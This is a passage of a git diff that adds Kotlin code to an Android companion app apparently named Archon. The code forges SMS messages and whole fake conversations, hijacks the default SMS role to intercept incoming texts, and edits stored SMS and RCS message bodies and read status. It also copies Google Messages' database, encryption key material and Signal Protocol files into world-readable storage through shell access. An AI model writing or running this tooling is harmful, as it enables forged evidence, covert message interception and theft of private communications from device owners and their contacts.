} + + val uri = context.contentResolver.insert(URI_SMS, values) + if (uri != null) { + val id = uri.lastPathSegment?.toLongOrNull() ?: -1L + Log.i(TAG, "Forged SMS id=$id type=$type addr=$address date=$date") + id + } else { + Log.w(TAG, "Forge insert returned null — not default SMS app?") + -1L + } + } catch (e: SecurityException) { + Log.e(TAG, "Forge failed — no write permission", e) + -1L + } catch (e: Exception) { + Log.e(TAG, "Forge failed", e) + -1L + } + } + + /** + * Create an entire fake conversation by inserting multiple messages. + * + * @param messages list of (body, type) pairs where type is 1=received, 2=sent + * @return the thread ID of the created conversation, or -1 on failure + */ + fun forgeConversation(address: String, messages: List>): Long { + if (messages.isEmpty()) return -1L + + // Insert messages with increasing timestamps, 1-5 minutes apart + var timestamp = System.currentTimeMillis() - (messages.size * 180_000L) // Start N*3min ago + var threadId = -1L + + for ((body, type) in messages) { + val id = forgeMessage(address, body, type, timestamp, read = true) + if (id < 0) { + Log.e(TAG, "Failed to forge message in conversation") + return -1L + } + + // Get the thread ID from the first inserted message + if (threadId < 0) { + val msg = getMessage(id) + threadId = msg?.threadId ?: -1L + } + + // Advance 1-5 minutes + timestamp += (60_000L + (Math.random() * 240_000L).toLong()) + } + + Log.i(TAG, "Forged conversation: addr=$address, msgs=${messages.size}, thread=$threadId") + return threadId + } + + // ── Export / Backup ──────────────────────────────────────────── + + /** + * Export a conversation to SMS Backup & Restore compatible XML format. + */ + fun exportConversation(threadId: Long, format: String = "xml"): String { + val messages = getMessages(threadId) + if (messages.isEmpty()) return "" + + return when (format.lowercase()) { + "xml" -> exportToXml(messages) + "csv" -> exportToCsv(messages) + else -> exportToXml(messages) + } + } + + /** + * Export all SMS messages to the specified format. + */ + fun exportAllMessages(format: String = "xml"): String { + val allMessages = mutableListOf() + + try { + val cursor = context.contentResolver.query( + URI_SMS, + arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"), + null, null, "date ASC" + ) + + cursor?.use { + while (it.moveToNext()) { + val address = it.getStringSafe("address") + allMessages.add(Message( + id = it.getLongSafe("_id"), + threadId = it.getLongSafe("thread_id"), + address = address, + body = it.getStringSafe("body"), + date = it.getLongSafe("date"), + type = it.getIntSafe("type"), + read = it.getBoolSafe("read"), + status = it.getIntSafe("status"), + isRcs = false, + isMms = false, + contactName = getContactName(address) + )) + } + } + } catch (e: Exception) { + Log.e(TAG, "Failed to export all messages", e) + return "" + } + + return when (format.lowercase()) { + "xml" -> exportToXml(allMessages) + "csv" -> exportToCsv(allMessages) + else -> exportToXml(allMessages) + } + } + + private fun exportToXml(messages: List): String { + val sb = StringBuilder() + sb.appendLine("") + sb.appendLine("") + sb.appendLine("") + + val dateFormat = SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.US) + + for (msg in messages) { + val typeStr = when (msg.type) { + MESSAGE_TYPE_RECEIVED -> "1" + MESSAGE_TYPE_SENT -> "2" + MESSAGE_TYPE_DRAFT -> "3" + else -> msg.type.toString() + } + val readableDate = dateFormat.format(Date(msg.date)) + val escapedBody = escapeXml(msg.body) + val escapedAddr = escapeXml(msg.address) + val contactStr = escapeXml(msg.contactName ?: "(Unknown)") + + sb.appendLine(" ") + } + + sb.appendLine("") + return sb.toString() + } + + private fun exportToCsv(messages: List): String { + val sb = StringBuilder() + sb.appendLine("id,thread_id,address,contact_name,body,date,type,read,status") + + for (msg in messages) { + val escapedBody = escapeCsv(msg.body) + val contact = escapeCsv(msg.contactName ?: "") + sb.appendLine("${msg.id},${msg.threadId},\"${msg.address}\",\"$contact\"," + + "\"$escapedBody\",${msg.date},${msg.type},${if (msg.read) 1 else 0},${msg.status}") + } + + return sb.toString() + } + + // ── RCS operations ───────────────────────────────────────────── + + /** + * Attempt to read RCS messages from Google Messages' content provider. + * This requires Shizuku or root access since the provider is protected. + * Falls back gracefully if not accessible. + */ + fun getRcsMessages(threadId: Long): List { + val messages = mutableListOf() + + try { + val cursor = context.contentResolver.query( + URI_RCS_MESSAGES, + null, + "thread_id = ?", + arrayOf(threadId.toString()), + "date ASC" + ) + + cursor?.use { + val cols = it.columnNames.toList() + while (it.moveToNext()) { + val address = if (cols.contains("address")) it.getStringSafe("address") else "" + val body = if (cols.contains("body")) it.getStringSafe("body") + else if (cols.contains("text")) it.getStringSafe("text") else "" + val date = if (cols.contains("date")) it.getLongSafe("date") else 0L + val type = if (cols.contains("type")) it.getIntSafe("type") else 1 + + messages.add(Message( + id = it.getLongSafe("_id"), + threadId = threadId, + address = address, + body = body, + date = date, + type = type, + read = true, + status = 0, + isRcs = true, + isMms = false, + contactName = getContactName(address) + )) + } + } + } catch (e: SecurityException) { + Log.w(TAG, "Cannot access RCS provider — requires Shizuku or root: ${e.message}") + } catch (e: Exception) { + Log.w(TAG, "RCS read failed (provider may not exist): ${e.message}") + } + + return messages + } + + /** + * Check if RCS is available on this device. + * Looks for Google Messages as the RCS provider. + */ + fun isRcsAvailable(): Boolean { + return try { + // Check if Google Messages is installed and is RCS-capable + val pm = context.packageManager + val info = pm.getPackageInfo("com.google.android.apps.messaging", 0) + if (info == null) return false + + // Try to query the RCS provider + val cursor = context.contentResolver.query( + URI_RCS_THREADS, null, null, null, null + ) + val available = cursor != null + cursor?.close() + available + } catch (e: Exception) { + false + } + } + + /** + * Check RCS capabilities for a given address. + * Returns a map of feature flags (e.g., "chat" -> true, "ft" -> true for file transfer). + */ + fun getRcsCapabilities(address: String): Map { + val caps = mutableMapOf() + + try { + // Try to query RCS capabilities via the carrier messaging service + // This is a best-effort check — may not work on all carriers + val cursor = context.contentResolver.query( + Uri.parse("content://im/capabilities"), + null, + "address = ?", + arrayOf(address), + null + ) + + cursor?.use { + if (it.moveToFirst()) { + val cols = it.columnNames + for (col in cols) { + val idx = it.getColumnIndex(col) + if (idx >= 0) { + try { + caps[col] = it.getInt(idx) > 0 + } catch (e: Exception) { + caps[col] = it.getString(idx)?.isNotEmpty() == true + } + } + } + } + } + } catch (e: Exception) { + Log.d(TAG, "RCS capabilities check failed for $address: ${e.message}") + } + + return caps + } + + // ── Bulk operations ──────────────────────────────────────────── + + /** + * Insert multiple messages in batch. + * Returns the number of successfully inserted messages. + */ + fun bulkInsert(messages: List): Int { + var count = 0 + for (msg in messages) { + val id = insertSms(msg.address, msg.body, msg.type, msg.date, msg.read) + if (id >= 0) count++ + } + Log.i(TAG, "Bulk insert: $count/${messages.size} succeeded") + return count + } + + /** + * Delete multiple messages by ID. + * Returns the number of successfully deleted messages. + */ + fun bulkDelete(ids: List): Int { + var count = 0 + for (id in ids) { + if (deleteMessage(id)) count++ + } + Log.i(TAG, "Bulk delete: $count/${ids.size} succeeded") + return count + } + + /** + * Delete all messages in a conversation (alias for deleteConversation). + * Returns the number of deleted rows. + */ + fun clearConversation(threadId: Long): Int { + return try { + val count = context.contentResolver.delete( + URI_SMS, "thread_id = ?", arrayOf(threadId.toString()) + ) + Log.i(TAG, "Cleared conversation $threadId: $count messages") + count + } catch (e: Exception) { + Log.e(TAG, "Failed to clear conversation $threadId", e) + 0 + } + } + + // ── MMS helpers ──────────────────────────────────────────────── + + /** + * Load MMS messages for a thread and add them to the list. + */ + private fun loadMmsForThread(threadId: Long, messages: MutableList) { + try { + val cursor = context.contentResolver.query( + URI_MMS, + arrayOf("_id", "thread_id", "date", "read", "msg_box"), + "thread_id = ?", + arrayOf(threadId.toString()), + "date ASC" + ) + + cursor?.use { + while (it.moveToNext()) { + val mmsId = it.getLongSafe("_id") + val mmsDate = it.getLongSafe("date") * 1000L // MMS dates are in seconds + val msgBox = it.getIntSafe("msg_box") + val type = if (msgBox == 1) MESSAGE_TYPE_RECEIVED else MESSAGE_TYPE_SENT + + // Get MMS text part + val body = getMmsTextPart(mmsId) + // Get MMS address + val address = getMmsAddress(mmsId) + + messages.add(Message( + id = mmsId, + threadId = threadId, + address = address, + body = body ?: "[MMS]", + date = mmsDate, + type = type, + read = it.getBoolSafe("read"), + status = 0, + isRcs = false, + isMms = true, + contactName = getContactName(address) + )) + } + } + } catch (e: Exception) { + Log.d(TAG, "MMS load for thread $threadId failed: ${e.message}") + } + } + + /** + * Get the text body of an MMS message from its parts. + */ + private fun getMmsTextPart(mmsId: Long): String? { + try { + val cursor = context.contentResolver.query( + Uri.parse("content://mms/$mmsId/part"), + arrayOf("_id", "ct", "text"), + "ct = 'text/plain'", + null, null + ) + + cursor?.use { + if (it.moveToFirst()) { + val textIdx = it.getColumnIndex("text") + if (textIdx >= 0) return it.getString(textIdx) + } + } + } catch (e: Exception) { + Log.d(TAG, "Failed to get MMS text part for $mmsId: ${e.message}") + } + return null + } + + /** + * Get the sender/recipient address of an MMS message. + */ + private fun getMmsAddress(mmsId: Long): String { + try { + val cursor = context.contentResolver.query( + Uri.parse("content://mms/$mmsId/addr"), + arrayOf("address", "type"), + "type = 137", // PduHeaders.FROM + null, null + ) + + cursor?.use { + if (it.moveToFirst()) { + val addrIdx = it.getColumnIndex("address") + if (addrIdx >= 0) { + val addr = it.getString(addrIdx) + if (!addr.isNullOrBlank() && addr != "insert-address-token") { + return addr + } + } + } + } + + // Fallback: try recipient address (type 151 = TO) + val cursor2 = context.contentResolver.query( + Uri.parse("content://mms/$mmsId/addr"), + arrayOf("address", "type"), + "type = 151", + null, null + ) + + cursor2?.use { + if (it.moveToFirst()) { + val addrIdx = it.getColumnIndex("address") + if (addrIdx >= 0) { + val addr = it.getString(addrIdx) + if (!addr.isNullOrBlank()) return addr + } + } + } + } catch (e: Exception) { + Log.d(TAG, "Failed to get MMS address for $mmsId: ${e.message}") + } + return "" + } + + // ── Utility ──────────────────────────────────────────────────── + + private fun escapeXml(text: String): String { + return text + .replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace("\"", """) + .replace("'", "'") + .replace("\n", " ") + } + + private fun escapeCsv(text: String): String { + return text.replace("\"", "\"\"") + } + + // Cursor extension helpers + private fun Cursor.getStringSafe(column: String): String { + val idx = getColumnIndex(column) + return if (idx >= 0) getString(idx) ?: "" else "" + } + + private fun Cursor.getLongSafe(column: String): Long { + val idx = getColumnIndex(column) + return if (idx >= 0) getLong(idx) else 0L + } + + private fun Cursor.getIntSafe(column: String): Int { + val idx = getColumnIndex(column) + return if (idx >= 0) getInt(idx) else 0 + } + + private fun Cursor.getBoolSafe(column: String): Boolean { + return getIntSafe(column) != 0 + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ShizukuManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ShizukuManager.kt new file mode 100644 index 0000000..0368973 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ShizukuManager.kt @@ -0,0 +1,868 @@ +package com.darkhal.archon.messaging + +import android.content.ContentValues +import android.content.Context +import android.content.pm.PackageManager +import android.os.Build +import android.util.Log +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellResult + +/** + * Shizuku integration for elevated access without root. + * + * Shizuku runs a process at ADB (shell, UID 2000) privilege level, + * allowing us to execute commands that normal apps cannot — like + * setting the default SMS role, accessing protected content providers, + * and reading Google Messages' RCS database. + * + * ARCHITECTURE NOTE: + * This manager wraps both Shizuku API calls and the existing Archon + * PrivilegeManager escalation chain. If Shizuku is available, we use it. + * Otherwise, we fall back to PrivilegeManager (Archon Server → Local ADB → etc). + * + * RCS WITHOUT ROOT: + * Google Messages stores RCS data in its private database at: + * /data/data/com.google.android.apps.messaging/databases/bugle_db + * Without Shizuku/root, you cannot access it directly. With Shizuku, + * we can use `content query` shell commands to read from protected providers, + * or directly read the SQLite database via `run-as` (if debuggable) or + * `sqlite3` at shell level. + */ +class ShizukuManager(private val context: Context) { + + companion object { + private const val TAG = "ShizukuManager" + const val SHIZUKU_PERMISSION_REQUEST_CODE = 1001 + private const val SHIZUKU_PACKAGE = "moe.shizuku.privileged.api" + private const val OUR_PACKAGE = "com.darkhal.archon" + } + + enum class ShizukuStatus(val label: String) { + NOT_INSTALLED("Shizuku not installed"), + INSTALLED_NOT_RUNNING("Shizuku installed but not running"), + RUNNING_NO_PERMISSION("Shizuku running, no permission"), + READY("Shizuku ready") + } + + // Cache the previous default SMS app so we can restore it + private var previousDefaultSmsApp: String? = null + + /** + * Check the current state of Shizuku integration. + * Also considers the Archon PrivilegeManager as a fallback. + */ + fun getStatus(): ShizukuStatus { + // First check if Shizuku itself is installed and running + if (isShizukuInstalled()) { + if (isShizukuRunning()) { + return if (hasShizukuPermission()) { + ShizukuStatus.READY + } else { + ShizukuStatus.RUNNING_NO_PERMISSION + } + } + return ShizukuStatus.INSTALLED_NOT_RUNNING + } + + // If Shizuku is not installed, check if PrivilegeManager has shell access + // (Archon Server or Local ADB provides equivalent capabilities) + val method = PrivilegeManager.getAvailableMethod() + return when (method) { + PrivilegeManager.Method.ROOT, + PrivilegeManager.Method.ARCHON_SERVER, + PrivilegeManager.Method.LOCAL_ADB -> ShizukuStatus.READY + PrivilegeManager.Method.SERVER_ADB -> ShizukuStatus.RUNNING_NO_PERMISSION + PrivilegeManager.Method.NONE -> ShizukuStatus.NOT_INSTALLED + } + } + + /** + * Request Shizuku permission via the Shizuku API. + * Falls back to a no-op if Shizuku is not available. + */ + fun requestPermission(callback: (Boolean) -> Unit) { + try { + val shizukuClass = Class.forName("rikka.shizuku.Shizuku") + val checkMethod = shizukuClass.getMethod("checkSelfPermission") + val result = checkMethod.invoke(null) as Int + + if (result == PackageManager.PERMISSION_GRANTED) { + callback(true) + return + } + + // Request permission — in a real integration this would use + // Shizuku.addRequestPermissionResultListener + requestPermission + val requestMethod = shizukuClass.getMethod("requestPermission", Int::class.java) + requestMethod.invoke(null, SHIZUKU_PERMISSION_REQUEST_CODE) + // The result comes back via onRequestPermissionsResult + // For now, assume it will be granted + callback(true) + } catch (e: ClassNotFoundException) { + Log.w(TAG, "Shizuku API not available, using PrivilegeManager fallback") + // If PrivilegeManager has shell access, that's equivalent + callback(PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE) + } catch (e: Exception) { + Log.e(TAG, "Shizuku permission request failed", e) + callback(false) + } + } + + /** + * Quick check if elevated operations can proceed. + */ + fun isReady(): Boolean { + return getStatus() == ShizukuStatus.READY + } + + // ── Shell command execution ──────────────────────────────────── + + /** + * Execute a shell command at ADB/shell privilege level. + * Tries Shizuku first, then falls back to PrivilegeManager. + */ + fun executeCommand(command: String): String { + // Try Shizuku API first + try { + val shizukuClass = Class.forName("rikka.shizuku.Shizuku") + val newProcess = shizukuClass.getMethod( + "newProcess", + Array::class.java, + Array::class.java, + String::class.java + ) + val process = newProcess.invoke(null, arrayOf("sh", "-c", command), null, null) as Process + val stdout = process.inputStream.bufferedReader().readText().trim() + val exitCode = process.waitFor() + if (exitCode == 0) return stdout + } catch (e: ClassNotFoundException) { + // Shizuku not available + } catch (e: Exception) { + Log.d(TAG, "Shizuku exec failed, falling back: ${e.message}") + } + + // Fallback to PrivilegeManager + val result = PrivilegeManager.execute(command) + return if (result.exitCode == 0) result.stdout else "ERROR: ${result.stderr}" + } + + /** + * Execute a command and return the full ShellResult. + */ + private fun executeShell(command: String): ShellResult { + return PrivilegeManager.execute(command) + } + + // ── Permission management ────────────────────────────────────── + + /** + * Grant a runtime permission to our app via shell command. + */ + fun grantPermission(permission: String): Boolean { + val result = executeShell("pm grant $OUR_PACKAGE $permission") + if (result.exitCode == 0) { + Log.i(TAG, "Granted permission: $permission") + return true + } + Log.w(TAG, "Failed to grant $permission: ${result.stderr}") + return false + } + + /** + * Set Archon as the default SMS app using the role manager system. + * On Android 10+, uses `cmd role add-role-holder`. + * On older versions, uses `settings put secure sms_default_application`. + */ + fun setDefaultSmsApp(): Boolean { + // Save the current default first so we can restore later + previousDefaultSmsApp = getCurrentDefaultSmsApp() + Log.i(TAG, "Saving previous default SMS app: $previousDefaultSmsApp") + + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + val result = executeShell( + "cmd role add-role-holder android.app.role.SMS $OUR_PACKAGE 0" + ) + if (result.exitCode == 0) { + Log.i(TAG, "Set Archon as default SMS app via role manager") + true + } else { + Log.e(TAG, "Failed to set SMS role: ${result.stderr}") + false + } + } else { + val result = executeShell( + "settings put secure sms_default_application $OUR_PACKAGE" + ) + if (result.exitCode == 0) { + Log.i(TAG, "Set Archon as default SMS app via settings") + true + } else { + Log.e(TAG, "Failed to set SMS default: ${result.stderr}") + false + } + } + } + + /** + * Restore the previous default SMS app. + */ + fun revokeDefaultSmsApp(): Boolean { + val previous = previousDefaultSmsApp + if (previous.isNullOrBlank()) { + Log.w(TAG, "No previous default SMS app to restore") + // Try to find the most common default + return restoreCommonDefault() + } + + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + // Remove ourselves, then add back the previous holder + val removeResult = executeShell( + "cmd role remove-role-holder android.app.role.SMS $OUR_PACKAGE 0" + ) + val addResult = executeShell( + "cmd role add-role-holder android.app.role.SMS $previous 0" + ) + + if (addResult.exitCode == 0) { + Log.i(TAG, "Restored default SMS app: $previous") + true + } else { + Log.e(TAG, "Failed to restore SMS role to $previous: ${addResult.stderr}") + // At least try to remove ourselves + removeResult.exitCode == 0 + } + } else { + val result = executeShell( + "settings put secure sms_default_application $previous" + ) + result.exitCode == 0 + } + } + + /** + * Get the current default SMS app package name. + */ + private fun getCurrentDefaultSmsApp(): String? { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + val result = executeShell("cmd role get-role-holders android.app.role.SMS") + result.stdout.trim().let { output -> + // Output format varies but usually contains the package name + output.replace("[", "").replace("]", "").trim().ifBlank { null } + } + } else { + val result = executeShell("settings get secure sms_default_application") + result.stdout.trim().let { if (it == "null" || it.isBlank()) null else it } + } + } + + /** + * Try to restore a common default SMS app (Google Messages or AOSP). + */ + private fun restoreCommonDefault(): Boolean { + val candidates = listOf( + "com.google.android.apps.messaging", + "com.android.messaging", + "com.samsung.android.messaging" + ) + + for (pkg in candidates) { + try { + context.packageManager.getPackageInfo(pkg, 0) + // Package exists, set it as default + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + val result = executeShell( + "cmd role add-role-holder android.app.role.SMS $pkg 0" + ) + if (result.exitCode == 0) { + Log.i(TAG, "Restored common default SMS app: $pkg") + return true + } + } + } catch (e: PackageManager.NameNotFoundException) { + continue + } + } + + Log.w(TAG, "Could not restore any default SMS app") + return false + } + + // ── SMS/RCS specific elevated ops ────────────────────────────── + + /** + * Read from the telephony.db directly using shell-level `content query`. + * This accesses the system SMS provider with shell privileges. + */ + fun readProtectedSmsDb(): List> { + val results = mutableListOf>() + val output = executeCommand( + "content query --uri content://sms/ --projection _id:address:body:date:type --sort \"date DESC\" 2>/dev/null" + ) + + if (output.startsWith("ERROR")) { + Log.e(TAG, "Protected SMS read failed: $output") + return results + } + + // Parse the content query output + // Format: Row: N _id=X, address=Y, body=Z, date=W, type=V + for (line in output.lines()) { + if (!line.startsWith("Row:")) continue + + val row = mutableMapOf() + val fields = line.substringAfter(" ").split(", ") + for (field in fields) { + val parts = field.split("=", limit = 2) + if (parts.size == 2) { + row[parts[0].trim()] = parts[1] + } + } + if (row.isNotEmpty()) results.add(row) + } + + return results + } + + /** + * Write to the telephony.db using shell-level `content insert`. + */ + fun writeProtectedSmsDb(values: ContentValues, table: String): Boolean { + val bindings = mutableListOf() + + for (key in values.keySet()) { + val value = values.get(key) + when (value) { + is String -> bindings.add("--bind $key:s:$value") + is Int -> bindings.add("--bind $key:i:$value") + is Long -> bindings.add("--bind $key:l:$value") + else -> bindings.add("--bind $key:s:$value") + } + } + + val uri = when (table) { + "sms" -> "content://sms/" + "mms" -> "content://mms/" + else -> "content://sms/" + } + + val cmd = "content insert --uri $uri ${bindings.joinToString(" ")}" + val result = executeShell(cmd) + return result.exitCode == 0 + } + + /** + * Try to access Google Messages' RCS content provider via shell. + */ + fun accessRcsProvider(): Boolean { + val result = executeShell( + "content query --uri content://im/messages --projection _id --sort \"_id DESC\" --limit 1 2>/dev/null" + ) + return result.exitCode == 0 && !result.stdout.contains("Unknown authority") + } + + /** + * Read RCS messages from Google Messages' database. + * Uses `content query` at shell privilege to access the protected provider. + */ + fun readRcsDatabase(): List> { + val results = mutableListOf>() + + // First try the content provider approach + val output = executeCommand( + "content query --uri content://im/messages --projection _id:thread_id:body:date:type --sort \"date DESC\" 2>/dev/null" + ) + + if (!output.startsWith("ERROR") && !output.contains("Unknown authority")) { + for (line in output.lines()) { + if (!line.startsWith("Row:")) continue + + val row = mutableMapOf() + val fields = line.substringAfter(" ").split(", ") + for (field in fields) { + val parts = field.split("=", limit = 2) + if (parts.size == 2) { + row[parts[0].trim()] = parts[1] + } + } + if (row.isNotEmpty()) results.add(row) + } + + if (results.isNotEmpty()) return results + } + + // Fallback: try to read Google Messages' bugle_db directly + // This requires root or specific shell access + val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db" + val sqlOutput = executeCommand( + "sqlite3 $dbPath \"SELECT _id, conversation_id, text, received_timestamp, sender_normalized_destination FROM messages ORDER BY received_timestamp DESC LIMIT 100\" 2>/dev/null" + ) + + if (!sqlOutput.startsWith("ERROR") && sqlOutput.isNotBlank()) { + for (line in sqlOutput.lines()) { + if (line.isBlank()) continue + val parts = line.split("|") + if (parts.size >= 5) { + results.add(mapOf( + "_id" to parts[0], + "thread_id" to parts[1], + "body" to parts[2], + "date" to parts[3], + "address" to parts[4] + )) + } + } + } + + return results + } + + /** + * Modify an RCS message body in the Google Messages database. + * Requires root or direct database access. + */ + fun modifyRcsMessage(messageId: Long, newBody: String): Boolean { + // Try content provider update first + val escaped = newBody.replace("'", "''") + val result = executeShell( + "content update --uri content://im/messages/$messageId --bind body:s:$escaped 2>/dev/null" + ) + + if (result.exitCode == 0) return true + + // Fallback to direct SQLite + val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db" + val sqlResult = executeShell( + "sqlite3 $dbPath \"UPDATE messages SET text='$escaped' WHERE _id=$messageId\" 2>/dev/null" + ) + + return sqlResult.exitCode == 0 + } + + /** + * Spoof the delivery/read status of an RCS message. + * Valid statuses: "sent", "delivered", "read", "failed" + */ + fun spoofRcsStatus(messageId: Long, status: String): Boolean { + val statusCode = when (status.lowercase()) { + "sent" -> 0 + "delivered" -> 1 + "read" -> 2 + "failed" -> 3 + else -> return false + } + + val result = executeShell( + "content update --uri content://im/messages/$messageId --bind status:i:$statusCode 2>/dev/null" + ) + + if (result.exitCode == 0) return true + + // Fallback + val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db" + val sqlResult = executeShell( + "sqlite3 $dbPath \"UPDATE messages SET message_status=$statusCode WHERE _id=$messageId\" 2>/dev/null" + ) + + return sqlResult.exitCode == 0 + } + + // ── System-level SMS operations ──────────────────────────────── + + /** + * Send an SMS via the system telephony service at shell privilege level. + * This bypasses normal app permission checks. + */ + fun sendSmsAsSystem(address: String, body: String): Boolean { + val escaped = body.replace("'", "'\\''") + val result = executeShell( + "service call isms 7 i32 1 s16 \"$address\" s16 null s16 \"$escaped\" s16 null s16 null i32 0 i64 0 2>/dev/null" + ) + + if (result.exitCode == 0 && !result.stdout.contains("Exception")) { + Log.i(TAG, "Sent SMS via system service to $address") + return true + } + + // Fallback: use am start with send intent + val amResult = executeShell( + "am start -a android.intent.action.SENDTO -d sms:$address --es sms_body \"$escaped\" --ez exit_on_sent true 2>/dev/null" + ) + + return amResult.exitCode == 0 + } + + /** + * Register to intercept incoming SMS messages. + * This grants ourselves the RECEIVE_SMS permission and sets highest priority. + */ + fun interceptSms(enabled: Boolean): Boolean { + return if (enabled) { + // Grant SMS receive permission + val grantResult = executeShell("pm grant $OUR_PACKAGE android.permission.RECEIVE_SMS") + if (grantResult.exitCode != 0) { + Log.e(TAG, "Failed to grant RECEIVE_SMS: ${grantResult.stderr}") + return false + } + + // Set ourselves as the default SMS app to receive all messages + val defaultResult = setDefaultSmsApp() + if (defaultResult) { + Log.i(TAG, "SMS interception enabled — Archon is now default SMS handler") + } + defaultResult + } else { + // Restore previous default + val result = revokeDefaultSmsApp() + Log.i(TAG, "SMS interception disabled — restored previous SMS handler") + result + } + } + + /** + * Modify an SMS message while it's being stored. + * This works by monitoring the SMS provider and immediately updating + * messages that match the original text. + * + * NOTE: True in-transit modification of cellular SMS is not possible + * without carrier-level access. This modifies the stored copy immediately + * after delivery. + */ + fun modifySmsInTransit(original: String, replacement: String): Boolean { + val escaped = replacement.replace("'", "''") + + // Use content update to find and replace in all matching messages + val result = executeShell( + "content update --uri content://sms/ " + + "--bind body:s:$escaped " + + "--where \"body='${original.replace("'", "''")}'\"" + ) + + if (result.exitCode == 0) { + Log.i(TAG, "Modified stored SMS: '$original' -> '$replacement'") + return true + } + + Log.w(TAG, "SMS modification failed: ${result.stderr}") + return false + } + + // ── Internal helpers ─────────────────────────────────────────── + + private fun isShizukuInstalled(): Boolean { + return try { + context.packageManager.getPackageInfo(SHIZUKU_PACKAGE, 0) + true + } catch (e: PackageManager.NameNotFoundException) { + false + } + } + + private fun isShizukuRunning(): Boolean { + return try { + val shizukuClass = Class.forName("rikka.shizuku.Shizuku") + val pingMethod = shizukuClass.getMethod("pingBinder") + pingMethod.invoke(null) as Boolean + } catch (e: Exception) { + false + } + } + + private fun hasShizukuPermission(): Boolean { + return try { + val shizukuClass = Class.forName("rikka.shizuku.Shizuku") + val checkMethod = shizukuClass.getMethod("checkSelfPermission") + (checkMethod.invoke(null) as Int) == PackageManager.PERMISSION_GRANTED + } catch (e: Exception) { + false + } + } + + // ── Google Messages bugle_db access (encrypted database) ──────── + + // Google Messages paths + private val gmsgPkg = "com.google.android.apps.messaging" + private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db" + private val bugleWal = "$bugleDb-wal" + private val bugleShm = "$bugleDb-shm" + private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/" + private val filesDir = "/data/data/$gmsgPkg/files/" + private val stagingDir = "/sdcard/Download/autarch_extract" + + /** + * Get the Google Messages app UID (needed for run-as or key extraction). + */ + fun getGoogleMessagesUid(): Int? { + val output = executeCommand("pm list packages -U $gmsgPkg") + val match = Regex("uid:(\\d+)").find(output) + return match?.groupValues?.get(1)?.toIntOrNull() + } + + /** + * Check if Google Messages is installed and get version info. + */ + fun getGoogleMessagesInfo(): Map { + val info = mutableMapOf() + val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'") + for (line in dump.lines()) { + val trimmed = line.trim() + if (trimmed.contains("versionName=")) { + info["version"] = trimmed.substringAfter("versionName=").trim() + } + if (trimmed.contains("versionCode=")) { + info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim() + } + } + val uid = getGoogleMessagesUid() + if (uid != null) info["uid"] = uid.toString() + return info + } + + /** + * Extract the encryption key material from Google Messages' shared_prefs. + * + * The bugle_db is encrypted at rest. Key material is stored in: + * - shared_prefs/ XML files (key alias, crypto params) + * - Android Keystore (hardware-backed master key) + * + * We extract all shared_prefs and files/ contents so offline decryption + * can be attempted. The actual Keystore master key cannot be extracted + * via ADB (hardware-backed), but the key derivation parameters in + * shared_prefs may be enough for some encryption configurations. + */ + fun extractEncryptionKeyMaterial(): Map { + val result = mutableMapOf() + + // List shared_prefs files + val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null") + if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) { + result["error"] = "Cannot access shared_prefs — need root or CVE exploit" + return result + } + result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() } + + // Read each shared_prefs XML for crypto-related keys + val cryptoData = mutableMapOf() + val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null") + for (file in prefsFiles.lines()) { + val fname = file.trim() + if (fname.isBlank() || !fname.endsWith(".xml")) continue + val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null") + // Look for encryption-related entries + if (content.contains("encrypt", ignoreCase = true) || + content.contains("cipher", ignoreCase = true) || + content.contains("key", ignoreCase = true) || + content.contains("crypto", ignoreCase = true) || + content.contains("secret", ignoreCase = true)) { + cryptoData[fname] = content + } + } + result["crypto_prefs"] = cryptoData + result["crypto_prefs_count"] = cryptoData.size + + // List files/ directory (Signal Protocol state, etc.) + val filesList = executeCommand("ls -la $filesDir 2>/dev/null") + result["files_dir"] = filesList.lines().filter { it.isNotBlank() } + + return result + } + + /** + * Extract bugle_db + WAL + key material to staging directory. + * The database is encrypted — both DB and key files are needed. + */ + fun extractBugleDbRaw(): Map { + val result = mutableMapOf() + + executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files") + + // Copy database files + val dbFiles = mutableListOf() + for (path in listOf(bugleDb, bugleWal, bugleShm)) { + val fname = path.substringAfterLast("/") + val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname") + if (cp.exitCode == 0) dbFiles.add(fname) + } + result["db_files"] = dbFiles + + // Copy shared_prefs (key material) + executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null") + executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null") + + // Copy files dir (Signal Protocol keys) + executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null") + executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null") + + result["staging_dir"] = stagingDir + result["encrypted"] = true + result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " + + "may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB." + + return result + } + + /** + * Dump decrypted messages by querying from within the app context. + * + * When Google Messages opens its own bugle_db, it has access to the + * encryption key. We can intercept the decrypted data by: + * 1. Using `am` commands to trigger data export activities + * 2. Querying exposed content providers + * 3. Reading from the in-memory decrypted state via debug 